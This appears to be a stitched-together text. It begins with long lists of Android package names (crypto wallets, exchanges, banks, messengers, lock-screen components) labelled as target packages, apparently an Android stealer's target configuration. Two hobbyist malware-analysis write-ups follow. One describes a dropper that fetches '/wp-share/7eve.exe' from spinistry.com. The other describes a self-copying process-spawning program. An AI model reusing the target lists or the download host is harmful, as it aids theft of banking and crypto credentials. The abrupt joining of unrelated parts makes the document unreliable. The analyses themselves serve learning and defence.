- com.terrastation.mobile
- wannabit.io.cosmostaion
- com.keplr.wallet
- com.xdefi.wallet
- com.frontier.wallet
- com.pillar.wallet
- com.gnosis.safe
- com.portis.wallet
- com.fortmatic.wallet
- com.walletconnect.wallet
- com.opera.crypto
- com.brave.browser
- com.status.ethereum
- com.jaxx.liberty
- com.edge.app
- com.zelcore.wallet
- com.infinitowallet
- com.klever.wallet
- com.onto.wallet
- com.cybavo.wallet
- com.cobo.wallet
- com.coolbitx.cwallet
- com.d4wallet.app
- com.ballet.wallet
- com.keyst.app
- com.zengo.wallet
- com.blue.wallet
- com.greenaddress.greenbits_android_wallet
- com.muunwallet
- com.nunchuk.android
- com.sparrowwallet.sparrow
- com.wasabiwallet.mobile
- com.samourai.wallet
- com.blockstream.green
- com.casa.wallet
- com.phoenix.wallet
- com.lightning.wallet
- com.breez.client
- com.getumbrel.app
- com.zap.wallet
- fr.acinq.eclair.wallet
- com.binance.dev
- com.binancemini
- co.mona.android
- com.kraken.trade
- com.kraken.pro
- com.bitfinex.mobileapp
- com.bybit.app
- com.okex.gp
- com.okx.calculator
- com.gateio.gateio
- com.kucoin.kumex
- com.huobi.gp
- com.huobi.pro
- com.htx.app
- com.crypto.exchange
- com.ftx.mobile
- com.gemini.android.app
- com.bittrex.trade
- com.poloniex.app
- com.bitstamp.app
- com.cex.app.prod
- com.luno.android
- com.bitso.wallet
- com.mexc.mexcpro
- com.bitmex.app
- com.phemex.android
- com.etoro.wallet
- com.etoro.openbook
- com.libertex.mobile
- com.exness.investor
- com.bitget.app
- com.bingx.app
- com.pionex.app
- com.ascendex.app
- com.probit.app
- com.liquid.app
- com.bitmart.app
- com.whitebit.app
- com.latoken.app
- com.coinsbit.app
- com.bitbns.app
- com.wazirx.app
- com.zebpay.app
- com.paxful.wallet
- com.localbitcoins.app
- com.changelly.app
- com.changeangel.app
- com.shapeshift.droid_shapeshift
- com.simpleswap.app
- com.swapzone.app
- com.stormgain.mobile
- com.primexbt.app
- com.bitmexgo.app
- com.deribit.app
- com.cryptofacilities.app
- com.delta.exchange
- com.btse.app
- com.aax.app
- com.bitflyer.app
- com.zaif.android
- com.coincheck.android
- com.bithumb.app
- com.upbit.exchange
- com.korbit.app
- com.coinone.android
- com.gopax.app
- com.indodax.app
- com.tokocrypto.app
- com.bitcoin.id
- com.coinhako.app
- com.coins.ph
- com.mercadobitcoin.app
- com.bitcointrade.app
- com.foxbit.app
- com.bitkub.app
- com.satang.pro
- com.btcturk.app
- com.paribu.app
- com.rain.app
- com.bitpanda.app
- com.bitvavo.app
- com.bitcoin.de
- com.litebit.app
- com.btcdirect.app
- com.coinmama.app
- com.coinjar.app
- com.coinspot.app
- com.btcmarkets.app
- com.independentreserve.app
- com.swyftx.app
- com.uniswap.mobile
- com.sushi.mobile
- org.pancakeswap.web
- com.dydx.mobile
- com.aave.mobile
- com.compound.mobile
- com.defi.wallet
- com.celsius.network
- com.nexo.wallet
- com.blockfi.mobile
- com.1inch.wallet
- com.curve.mobile
- com.balancer.mobile
- com.yearn.finance
- com.makerdao.mobile
- com.synthetix.mobile
- com.bancor.wallet
- com.kyberswap.android
- com.loopring.wallet
- com.thorchain.mobile
- com.osmosis.mobile
- com.raydium.mobile
- com.serum.dex
- com.orca.mobile
- com.quickswap.mobile
- com.spookyswap.mobile
- com.spiritswap.mobile
- com.traderjoe.mobile
- com.benqi.mobile
- com.venus.protocol
- com.alpaca.finance
- com.beefy.finance
- com.autofarm.network
- com.harvest.finance
- com.idle.finance
- com.cream.finance
- com.instadapp.mobile
- com.defisaver.app
- com.furucombo.app
- com.opensea.mobile
- com.rarible.mobile
- com.niftygateway.mobile
- com.superrare.mobile
- com.foundation.app
- com.makersplace.mobile
- com.knownorigin.mobile
- com.asyncart.mobile
- com.mintable.app
- com.zora.mobile
- com.magiceden.mobile
- com.solanart.app
- com.blur.mobile
- com.looksrare.mobile
- com.x2y2.mobile
- com.axieinfinitygame
- com.decentraland.mobile
- com.sandbox.mobile
- com.illuvium.mobile
- com.godsunchained.mobile
- com.sorare.app
- com.cryptokitties.mobile
- com.alienworlds.mobile
- com.splinterlands.mobile
- com.nicehash.mobile
- com.minergate.mobile
- com.cryptotab.android
- com.stormgain.miner
- com.honeyminer.mobile
- com.kryptex.app
- com.stakewise.app
- com.lido.mobile
- com.rocketpool.mobile
- com.blockfolio.blockfolio
- com.coinstats.app
- com.cointracker.android
- com.delta.app
- com.coinmarketcap.android
- com.coingecko.app
- com.cryptocompare.mobile
- com.coincodex.app
- com.livecoinwatch.app
- com.cryptopanic.mobile
- com.cryptowat.ch
- com.tradingview.tradingviewapp
- com.paypal.android
- com.cashapp
- com.venmo
- com.revolut.revolut
- com.robinhood.android
- com.webull.android
- com.sofi.app
- com.wirexapp.wirex
- com.crypto.visa
- com.binance.card
- com.bitpay.card
- com.coinbase.card
- com.nexo.card
- com.blockcard.app
- com.fold.app
- com.spedn.app
- com.moon.pay
- com.ramp.network
- com.transak.app
- com.wyre.app
- com.banxa.app
- com.simplex.app
- com.mercuryo.app
- com.wellsfargo.ceomobile
- com.wf.wellsfargomobile
- com.infonow.bofa
- com.chase.sig.android
- com.schwab.mobile
- com.fidelity.investments
- com.pnc.ecommerce.mobile
- com.konylabs.capitalone
- com.chime.prod
- com.bmo.mobile
- com.citizensbank.androidapp
- com.truist.mobile
- com.etrade.mobilepro.activity
- com.tastytrade.tastytrade
- com.vanguard.personalinvestors
- com.citi.citimobile
- com.usbank.mobilebanking
- com.tdbank
- com.ally.MobileBanking
- com.regions.mobbanking
- com.fifththird.mobile
- com.key.android
- com.huntington.m
- com.mtb.mbanking.sc.retail
- com.suntrust.mobilebanking
- com.bb_t.android
- com.zionsbank.zions
- com.americanexpress.android.acctsvcs
- com.discover.dfs.mobile
- com.marcus
- com.goldmansachs.gsuam
- com.morganstanley.clientserv.mobile
- com.jpmorgan.mobile.react
- com.bankofthewest.mobile
- com.navyfederal.android
- com.usaa.mobile.android.usaa
- com.pentagon.pfcu
- com.td
- com.rbc.mobile.android
- com.bmo.mobile.banking
- com.scotiabank.mobile
- ca.tangerine.clients.banking.app
- com.cibc.android.mobi
- ca.bnc.android
- com.desjardins.mobile
- com.hsbc.hsbccanada
- com.koho
- ca.paymi.paymi
- com.barclays.android.barclaysmobilebanking
- com.lloydsbank.businessmobile
- com.grppl.android.shell.halifax
- uk.co.santander.santanderUK
- uk.co.hsbc.hsbcukmobilebanking
- com.natwest.mobile.android.rbs
- com.rbs.mobile.android.rbs
- uk.co.metrobankonline.mobile
- uk.co.tsb.newmobilebank
- com.firstdirect.bankingonthego
- com.revolut.revolut
- com.monzo.android
- com.starlingbank.android
- de.dkb.portalapp
- de.commerzbank.kontostand
- com.db.mm.deutschebank
- com.ing.mobile
- nl.abnamro.nl.mobile.payments
- nl.rabomobiel
- com.bnpparibas.mescomptes
- mobi.societegenerale.mobile.lappli
- com.creditagricole.androidapp
- com.caisseepargne.android.mobilebanking
- es.lacaixa.mobile.android.newwapicon
- com.bbva.bbvacontigo
- es.santander.money
- com.unicredit
- com.intesasanpaolo.mobile
- ch.ubs.mobileBanking
- com.cs.android.creditsuisse
- com.n26.n26
- com.wirecard.boon.pt
- com.transferwise.android
- com.bunq.android
- com.dbs.sg.dbsmbanking
- com.ocbc.mobile
- com.uob.mighty
- com.StandardCharteredMobileBanking.ng
- com.axis.mobile
- com.sbi.SBIFreedomPlus
- com.icicibank.imobile
- com.hdfcbank.hdfcbankmobilebanking
- com.kotak.mobile
- com.paytm
- com.phonepe.app
- in.amazon.mShop.android.shopping
- com.mobikwik
- net.one97.paytm
- jp.co.smbc.direct
- jp.co.mizuhobank.mizuhodirect
- jp.mufg.bk.applisp.app
- jp.co.japannetbank.smtapp
- jp.co.rakuten_bank.rakutenbank
- com.kasikornbank.retail.kplusmbd
- com.scb.easy
- com.bbl.mobilebanking
- com.krungsri.kma
- com.tmb.mbanking
- au.com.cba.mobile.android
- au.com.westpac.mobile
- au.com.anz.mobile
- au.com.nab.mobile
- au.com.bankwest.mobile
- au.com.ingdirect.mobile
- au.com.suncorp.SuncorpBank
- com.macquarie.banking
- com.itau
- com.bb.mobile
- com.bradesco
- com.santander.app
- com.nu.production
- com.picpay
- com.mercadopago
- com.bancointer
- com.c6bank.app
- com.bancolombia.app
- com.davivienda.app
- com.banorte.app
- com.banamex.app
- com.bbva.mx
- com.hsbc.mx
- com.robinhood.android
- com.webull.android
- com.tdameritrade.mobile
- com.interactivebrokers.mobile
- com.thinkorswim
- com.merrilledge.app
- com.sofi.app
- com.stash.stashapp
- com.acorns.android
- com.betterment.app
- com.wealthfront.app
- com.personalcapital.android
- com.bloomberg.android.anywhere
- com.reuters.mobile
- com.moomoo.app
- com.public.app
- com.m1finance.android
- com.dough.app
- com.firstrade.firstrade
- com.tradestation.mobile
- com.lightspeed.mobile
- com.ig.android.markets
- com.plus500.app
- com.cmcmarkets.android.cfd
- com.avatrade.mobile
- com.forex.forexcom
- com.oanda.fxtrade
- com.varo.bank
- com.current.app
- com.dave.banking
- com.albert
- com.moneylion
- com.earnin.app
- com.brigit.app
- com.empower.app
- com.aspiration.app
- com.oxygen.app
- com.lili.app
- com.novo.app
- com.bluevine.app
- com.mercury.app
- com.brex.app
Apps_Packages
Target Packages
- org.telegram.messenger
- org.telegram.messenger.web
- org.telegram.messenger.beta
- org.thunderdog.challegram
- com.whatsapp
- com.whatsapp.w4b
- com.discord
- com.viber.voip
- com.skype.raider
- com.facebook.orca
- com.facebook.katana
- com.instagram.android
- com.snapchat.android
- com.vkontakte.android
- com.twitter.android
- com.tiktok.android
- com.zhiliaoapp.musically
- jp.naver.line.android
- com.kakao.talk
LockScreen Packages
- “com.android.systemui”
- “com.android.keyguard”
- “com.android.settings”
- “com.android.packageinstaller”
- “com.android.settings.intelligence”
- “com.google.android.gsf.login”
- “com.google.android.packageinstaller”
- “com.google.android.apps.wallpaper”
- “com.samsung.android.personalpage.service”
- “com.samsung.android.settings”
- “com.samsung.android.keyguard”
- “com.miui.keyguard”
- “com.mi.android.keyguard”
- “com.xiaomi.keyguard”
- “com.miui.securitycenter”
- “com.huawei.keyguard”
- “com.huawei.systemmanager”
- “com.huawei.securitymgr”
- “com.oppo.safe”
- “com.coloros.keyguard”
- “com.coloros.lockscreen”
- “com.realme.keyguard”
- “com.oneplus.keyguard”
- “com.heytap.lockscreen”
- “com.oplus.keyguard”
- “com.vivo.keyguard”
- “com.lge.lockscreen”
- “com.sonymobile.keyguard”
- “com.asus.keyguard”
- “com.motorola.keyguard”
- “com.htc.lockscreen”
- “com.lenovo.keyguard”
- “com.zui.keyguard”
Analyzed for fun
1
File is probably dropper, trying to install dangerous malware from spinistry.com.
The malware has actually a few more steps,, creating a new file to keep running from different directory. All files will be placed on the directory about analysis.
In our case fa132c7ca003a5fd97d96c3b656212802cf70f1735283b05144bdcae03e24894.exe is dropper.
I used Immunity Debugger for this analysis to learn working with it. Also I got screenshot of all instructions after binary is decompressed.
Explanation of instructions

0x401035: Handles are used to make sure only 1 process of malware is running, so nothing will go wrong. (If EAX is equal to -1 it will ExitProcess) 0x40104A: HeapCreate and tlAllocateHeap is mostly used for stealth and show the malware as legit software, but I don’t really know the usage in this malware.

0x401080: Getting TempPath, such as: “C:\Windows\Users<username>\AppData\Local\Temp”.
0x4010B2: Creates file named “rewok.exe” in Temp directory. (NOTE: rewok.exe is dropper’s copy) In case of success program will continue, else LEAVE.

0x4011A5: I guess it opens Temp path.

0x4011F9 - 0x4012B2 - creates Http request:
- HTTP Headers
- Method:
GET - URI:
/wp-share/7eve.exe - Version:
HTTP/1.1 - Accept:
text/*, application/* - User-Agent:
Updates downloader - Host:
spinistry.com - Cache-Control:
no-cache - Transport Layer Protocol:
TCP - Destination IP: ``
- Destination port:
443 - SSL encrypted:
Yes - Network mode:
singlehost
- Method:

If it has success it will ReadFile. (In our case it didn’t, because it is late.)

0x40132F: Also, after success File is renamed rewoked.exe.
I guess it was everything about that dropper malware, I will attach all other files i used in analysis.
NOTE: I am new to Malware Analysis so I try to practice a lot to learn, if I make mistakes I would appreciate the help.
2
As I was looking out for new malwares appearing online, i saw another PE32 executable malware and just decided to check it out, this malware was actually pretty simple. The purpose of the malware is use as much resource (RAM, CPU) as possible by copying itself and creating new process of itself. But honestly it was good malware to help me improve myself.
Simple demonstration of malware’s capability:
By just looking at it, it is obvious what type of API calls are made: NtReadFile NtCreateFile NtWriteFile CreateProcessW
When uploading malware to DIE (detect it easy), it shows .text section is packed or compressed. Which is not really our problem because the dangerous part of malware starts at 0x00429EA6. I wouldn’t look at each assembly instruction starting from that address, but at 0x0042A34F things get a little bit interesting.

This part writes full path name of malware to data and moves data address to eax, result will be something like that:
as you can see x32dbg shows what eax points to at the moment.
In this malware, internal functions within the VBA runtime environment have been called, which sadly didn’t help me a lot, I couldn’t get information about some functions like this one:

But one thing I know about this function is, it actually calls NtReadFile, which will copy our malicious binary into heap: (First 4 bytes are file’s handle which was returned by NtOpenFile but I didn’t specify it, as it didn’t matter a lot)
As you can see in stack, data will be copied to 0x55C1B0:

Later, the malware will create a full name for copying itself into that binary, which I didn’t go deep into the creation process but that’s how it looks:
C:\\Users\\eyes\\Desktop\\Malware\\Unicorn-17737.exe
The part we have to check right now is: 0x0042A5DB-0x0042A614. Why? Because this is the part where data will be written into the “full path name” malware created:

We have a __vbaPutOwner3 function which will call NtWriteFile, it makes sense as __vbaGetOwner3 called NtReadFile.

File handle is 0x210 it was created when NtOpenFile was called (didn’t specify it), Offset is 0x0 Size is 0x75005 (which is whole binary size) and 0x5DC1B0 is heap address where data resides.
Now one last thing is left, CreateProcessW, The call starts from 0x0042A614 to rtcShell which later Creates process.

The address is “string data” address of new created binary’s full name:

And that’s it, it will create new process and that process will create new one, it will continue forever.